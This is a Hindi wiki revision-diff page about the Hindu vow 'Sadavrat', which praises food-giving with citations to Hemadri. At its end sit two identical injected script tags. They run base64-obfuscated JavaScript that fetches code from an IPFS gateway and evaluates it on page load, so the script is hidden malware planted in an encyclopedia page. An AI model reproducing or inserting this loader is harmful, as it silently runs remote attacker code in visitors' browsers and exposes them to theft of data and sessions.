"सदाव्रत": अवतरणों में अंतर
भारत डिस्कवरी प्रस्तुति
व्यवस्थापन (वार्ता | योगदान) छो (Text replace - "==टीका टिप्पणी और संदर्भ==" to "{{संदर्भ ग्रंथ}} ==टीका टिप्पणी और संदर्भ==") |
No edit summary |
||
पंक्ति 1: | पंक्ति 1: | ||
*[[भारत]] में धार्मिक व्रतों का सर्वव्यापी प्रचार रहा है। यह हिन्दू धर्म ग्रंथों में उल्लिखित [[हिन्दू धर्म]] का एक व्रत संस्कार है। | *[[भारत]] में धार्मिक व्रतों का सर्वव्यापी प्रचार रहा है। यह हिन्दू धर्म ग्रंथों में उल्लिखित [[हिन्दू धर्म]] का एक व्रत संस्कार है। | ||
*सदाव्रत 'अन्नदानमाहात्म्य' कहा गया है। | *सदाव्रत 'अन्नदानमाहात्म्य' कहा गया है। | ||
*हेमाद्रि<ref>(हेमाद्रि व्रत खण्ड 2, 469-475)</ref> में भविष्योत्तरपुराण का उद्धरण आया है कि [[कृष्ण]] ने [[युधिष्ठर]] से दूसरों को | *हेमाद्रि<ref>(हेमाद्रि व्रत खण्ड 2, 469-475)</ref> में भविष्योत्तरपुराण का उद्धरण आया है कि [[कृष्ण]] ने [[युधिष्ठर]] से दूसरों को अन्न (भोजन) देने की महत्ता बतायी है और कहा है कि [[राम]] एवं [[लक्ष्मण]] को ब्रह्मभोज न देने के कारण बनवास भोगना पड़ा। राजा श्वेत को स्वर्ग में भी भूख की पीड़ा सहनी पड़ी, क्योंकि उसने भूखे [[ब्राह्मण|ब्राह्मणों]] को भोजन नहीं दिया था। | ||
*इस व्रत का अर्थ है सदा भोजन (व्रत) देना। | *इस व्रत का अर्थ है सदा भोजन (व्रत) देना। | ||
*आजकल इसे 'सदावर्त', 'सदाबर्त' कहते हैं। | *आजकल इसे 'सदावर्त', 'सदाबर्त' कहते हैं। | ||
*हेमाद्रि<ref>(हेमाद्रि व्रत खंड 2, 471)</ref> में एक [[श्लोक]] है 'भोजन प्राणियों का जीवन है, यही उनकी | *हेमाद्रि<ref>(हेमाद्रि व्रत खंड 2, 471)</ref> में एक [[श्लोक]] है 'भोजन प्राणियों का जीवन है, यही उनकी शक्ति है, शौर्य है और सुख है, अत: अन्नदाता प्रत्येक वस्तु का दाता कहा जाता है। | ||
{{संदर्भ ग्रंथ}} | {{संदर्भ ग्रंथ}} | ||
==टीका टिप्पणी और संदर्भ== | ==टीका टिप्पणी और संदर्भ== |
08:09, 11 जुलाई 2011 का अवतरण
- भारत में धार्मिक व्रतों का सर्वव्यापी प्रचार रहा है। यह हिन्दू धर्म ग्रंथों में उल्लिखित हिन्दू धर्म का एक व्रत संस्कार है।
- सदाव्रत 'अन्नदानमाहात्म्य' कहा गया है।
- हेमाद्रि[1] में भविष्योत्तरपुराण का उद्धरण आया है कि कृष्ण ने युधिष्ठर से दूसरों को अन्न (भोजन) देने की महत्ता बतायी है और कहा है कि राम एवं लक्ष्मण को ब्रह्मभोज न देने के कारण बनवास भोगना पड़ा। राजा श्वेत को स्वर्ग में भी भूख की पीड़ा सहनी पड़ी, क्योंकि उसने भूखे ब्राह्मणों को भोजन नहीं दिया था।
- इस व्रत का अर्थ है सदा भोजन (व्रत) देना।
- आजकल इसे 'सदावर्त', 'सदाबर्त' कहते हैं।
- हेमाद्रि[2] में एक श्लोक है 'भोजन प्राणियों का जीवन है, यही उनकी शक्ति है, शौर्य है और सुख है, अत: अन्नदाता प्रत्येक वस्तु का दाता कहा जाता है।
टीका टिप्पणी और संदर्भ
संबंधित लेख
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>